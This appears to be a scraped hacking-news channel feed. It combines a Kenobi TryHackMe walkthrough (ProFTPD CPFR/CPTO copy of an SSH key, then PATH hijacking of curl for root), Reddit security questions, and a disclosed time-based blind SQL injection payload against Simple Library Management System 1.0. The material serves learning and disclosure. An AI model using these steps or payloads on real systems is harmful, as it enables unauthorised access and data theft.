Hacking on Medium
SlowMist: Tracking possible identification clues related to Poly Network attackers

https://cdn-images-1.medium.com/max/600/1*bJHoQ4gh6wc7akYzVdrBbQ.jpeg
Further tracking and detailed vulnerabilities and technical details are being analyzed by the SlowMist security team.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Kenobi TryHackMe Walkthrough

Today it is time to solve another challenge called “Kenobi”. It is available at TryHackMe for penetration testing practice. The challenge is an easy difficulty if you have the right basic knowledge and are attentive to little details that are required in the enumeration process. The breakdown of the Machine with redacted flags is as follow: Level: Easy· Network Scanningo Nmap ScanEnumerationo Connecting SMB ServiceExploitationo Searching for exploit using SearchsploitPrivilege Escalationo Enumerating SUID PermissionsWalkthroughThere are two flags in this machine to discover. After Booting up the target machine from the TryHackMe: Kenobi Page, an IP will be assigned to the machine and will be visible on that page as well.IP Address: 10.10.101.175We will start a Nmap scan with the -sV from performing a Version Scan and -sC for default scripts on the target machine. nmap -sV -sC 10.10.101.175https://1.bp.blogspot.com/-fiAfgwHbELM/YRKpsbkt_mI/AAAAAAAAyIA/TZGZwfyU1HMxVxyXUpNJ1coE-IUwAw-7gCLcBGAsYHQ/s16000/1.png We have five services running on the target machine. We have 21 (FTP), 22 (SSH), 80 (HTTP), 111 & 2049 (RPC), 139 & 445 (SMB). EnumerationTo enumerate the SMB service, we will use the smbclient with the IP address of the target machine as shown in the image. We can see that there is a share by the name of anonymous. Upon accessing the share, we find a text file by the name of log.txt. We transfer the log file to our Kali machine to take a better look at it.smbclient -L \\10.10.101.175https://1.bp.blogspot.com/-YW9uMwqYc1M/YRKp5TgXoiI/AAAAAAAAyII/qeDqrwgPo-UzQ-bdwKBwNB-TZL-hllS1ACLcBGAsYHQ/s16000/2.png Reading the log, we can see that it contains the path for the id_rsa key stored on the target machine. Also, it points to the fact that the FTP service running on the target machine is ProFTPD. cat log.txthttps://1.bp.blogspot.com/-Zzo_jGcQKqs/YRKpxyjR3QI/AAAAAAAAyIE/Uk3UekyFbgsaQX5QL6Q3QbK-TxpvzTXpwCLcBGAsYHQ/s16000/3.png ExploitationAs we need to get our hands on the id_rsa file and we see that we have the ProFTPD on the target, we need to figure out a way to get access to that file through the FTP service. To check if we have any known vulnerabilities regarding the ProFTPD using Searchsploit. We see that we have the vulnerability named File Copy. We used the searchsploit to download the exploit file using the -m option. Here, we see that we need to run two significant commands: CPFR which means Copy From, and CPTO means Copy To.  So we can use these commands to copy the id_rsa file from its location to a place from where we can acquire it.searchsploit ProFTPD 1.3.5https://1.bp.blogspot.com/-fv3BVdRRGKg/YRKqGdVZrgI/AAAAAAAAyIM/DX5dalHWgMk5VPz0WWvPBbz2-rxd2u6kwCLcBGAsYHQ/s16000/4.png We used netcat to connect to the FTP service on the target machine.[...]

___________________________
@hacking_Attack
@Hacking_Video

We used the CPFR command to copy the id_rsa from the home directory of the Kenobi user. Then we used the CPTO command to provide the destination address for the id_rsa file. We transferred the file to /var directory.nc 10.10.101.175 21https://1.bp.blogspot.com/-TFWw4aeR7Es/YRKqQpmRgOI/AAAAAAAAyIU/ZkyCGJn7MIwyQcip7NPNpS_wlIiUVxxEwCLcBGAsYHQ/s16000/5.png Now that we have successfully transferred the id_rsa into the var directory, we can mount the /var directory so that we can access the id_rsa files on our local machine. We created a directory by the name of /ignite inside the /mnt directory. Next, we used the mount command to mount the remote var directory to our local ignite folder. Moving to the ignite directory we found the id_rsa file. Changing the permissions of the id_rsa file to make it ready to connect via SSH.mkdir /mnt/ignite /mnt/ignitehttps://1.bp.blogspot.com/-O4M-gsWJEEE/YRKqXjxlf9I/AAAAAAAAyIc/Rd6ms_P1CXEKyb8pY84HdclnkSf2Zzm1ACLcBGAsYHQ/s16000/6.png With the help of the id_rsa key, we were able to connect to the target machine as the Kenobi user. Here we were able to read the first flag by the name of user.txt.Privilege EscalationNow that we have the session on the target machine and we have the user flag. Let’s move on to enumerating the permissions to figure out a way to elevate privileges. We used the find command to check for all the binaries with permissions and found /usr/bin/menu to not be usually found in Linux. It could be our way to root.ssh -i id_rsa kenobi@10.10.101.175/dev/nullhttps://1.bp.blogspot.com/--YMwezLZ-No/YRKqcISSe2I/AAAAAAAAyIg/dtPp4ztRCdcGU3OFCmHGrCnfsCf0ywy3ACLcBGAsYHQ/s16000/7.png We ran the menu binary to see that it prints a menu with options such as status check, kernel version, and running ifconfig. We ran the kernel version and got version 4.80. This binary must be running the command in the background to get these outputs. To understand better, we used the strings command to fetch all the human-readable snippets from the binary and found that it uses the curl command to get the localhost. As it doesn’t mention the full path of curl, we can create a malicious payload with the name curl and add it into the path. This will make the binary run our malicious file instead of the original curl./usr/bin/menuhttps://1.bp.blogspot.com/-4zwCyW0wYeg/YRKqgm9LTiI/AAAAAAAAyIo/29EgC7n7ApUGPxEpu9p1p1t-TO4UF0fBACLcBGAsYHQ/s16000/8.png We moved to the tmp directory and created a binary invoking the /bin/sh and named it to curl. Then we changed the permission of the binary to be executable. At last, we added this curl into the local path using the export command. Now running the menu binary, we choose an option from the menu and we got ourselves the root shell. We read the root flag and conclude this machine.cd /tmp curlhttps://1.bp.blogspot.com/-4_MSOMxiHpc/YRKqk096cQI/AAAAAAAAyIs/FrAkx3gV-bsXwk1re_UovY2QsOxzzgaTQCLcBGAsYHQ/s16000/9.png

___________________________
@hacking_Attack
@Hacking_Video

Help trouble shooting wlan0 down state
https://www.reddit.com/r/Pentesting/comments/p1usia/help_trouble_shooting_wlan0_down_state/

___________________________
@hacking_Attack
@Hacking_Video

Hey everyone After experimenting with airodump-ng and aircrack-ng on kali linux my wlan0 interface has been permanently down. I tried installing networkmanager and did a service NetworkManager restart, airodump-ng stop and aircrack-ng stop. Lastly I tried going into the NetworkManager.conf file and tried changing [ifupdown] Managed=true and still nothing. I have attached my iwconfig output and my ip addr state. Any suggestions are appreciated ​ https://preview.redd.it/hipo99lmmkg71.png?width=834&format=png&auto=webp&s=6d2616bf70082d85bac9ebc9412782d7992406d8 submitted by /u/Biscotti2776 (https://www.reddit.com/user/Biscotti2776)
[link] (https://www.reddit.com/r/Pentesting/comments/p1usia/help_trouble_shooting_wlan0_down_state/) [comments] (https://www.reddit.com/r/Pentesting/comments/p1usia/help_trouble_shooting_wlan0_down_state/)

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles
Kenobi TryHackMe Walkthrough

Today it is time to solve another challenge called “Kenobi”. It is available at TryHackMe for penetration testing practice. The challenge is an easy difficulty if you have the right basic knowledge and are attentive to little details that are required in the enumeration process. The breakdown of the Machine

The post Kenobi TryHackMe Walkthrough appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hide and compress your strings in executables and code using Unishox

C Library:

https://github.com/siara-cc/Unishox

Javascript Library:

https://github.com/siara-cc/Unishox_JS

submitted by /u/siara-cc
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Can I get hacked through an imgur link ?

Some random 0 karma account just dmed me an imgur link after asking "can you guess my ethnicity". So is it possible to hack through Reddit imgur links ?

submitted by /u/Jager_21
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Harassment Calls

Hey everyone, how do I find out a private number? I have had a private number ring up and harass me, I think it could be someone I know. I am in the UK.

submitted by /u/Sea_Education8975
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How bad is Public Wifi with a VPN?

I see commercials about NordVPN and such saying how you can use public wifi without the fear of sniffing. Is this really the case? I know "pineapples" are always a thing, but if I had a correctly set up VPN, what are the chances that it would be compromised over public wifi?

submitted by /u/Snoo-33445
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What level of understanding of an attack should I have before moving on

I just successfully completed my first attack ever and I’m super excited(wpa2 handshake on old router I have). However I know it’s important to keep myself in check so I fully understand the attack. I know what each command does and why I do them, and I know what should be done to defend from this, but should I have a deeper understanding before moving on?

submitted by /u/TheCaffienatedOne
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
MobileTogether Server 7.3 XML Injection

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Simple Library Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-khon6dqGLkI/WWlvkVAr7qI/AAAAAAAAIQw/JwPgE9u6PkcV9AqklLFI3rOjfEX9YXC4QCLcBGAs/s1600/h96.png
Simple Library Management System version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 60e752054917c90f54824dc1de852737

Download
# Exploit Title: Simple Library Management System 1.0 - 'rollno' SQL Injection
# Date: 2021-08-08
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://www.nikhilbhalerao.com/
# Software Link: https://www.sourcecodester.com/php/14126/simple-library-management-system.html
# Version: V1
# Category: Webapps
# Tested on: Linux/Windows

# Description:
# PHP Dashboards is prone to an SQL-injection vulnerability
# because it fails to sufficiently sanitize user-supplied data before using
# it in an SQL query.Exploiting this issue could allow an attacker to
# compromise the application, access or modify data, or exploit latent
# vulnerabilities in the underlying database.

# Vulnerable Request:

POST /registration_authenticate.php HTTP/1.1
Host: localhost
Content-Length: 320
Cache-Control: max-age=0
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="88"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/registration.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

rollno=000001&fname=Halit&mname=&lname=AKAYDIN&branch=&sem=&dob=&semail=hltakydn%40pm.me&gender=&bg=&contact=&address=&pass=123456&cpass=123456

# Vulnerable Payload:
# Parameter: rollno (POST)
# Type: time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Payload:
rollno=ybGo' AND (SELECT 2194 FROM (SELECT(SLEEP(10)))IICl) AND 'vivZ'='vivZ&fname=Halit&mname=&lname=AKAYDIN&branch=&sem=&dob=&semail=hltakydn%40pm.me&gender=&bg=&contact=&address=&pass=123456&cpass=123456

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

GCP Inspector | Auditing Publicly Exposed GCP Bucket

Installation of GCP Inspector and basics about enumerating publicly exposed GCP buckets.
Read more...

Joining any class without the teacher’s invitation in Khan Academy

Hi There,
Read more...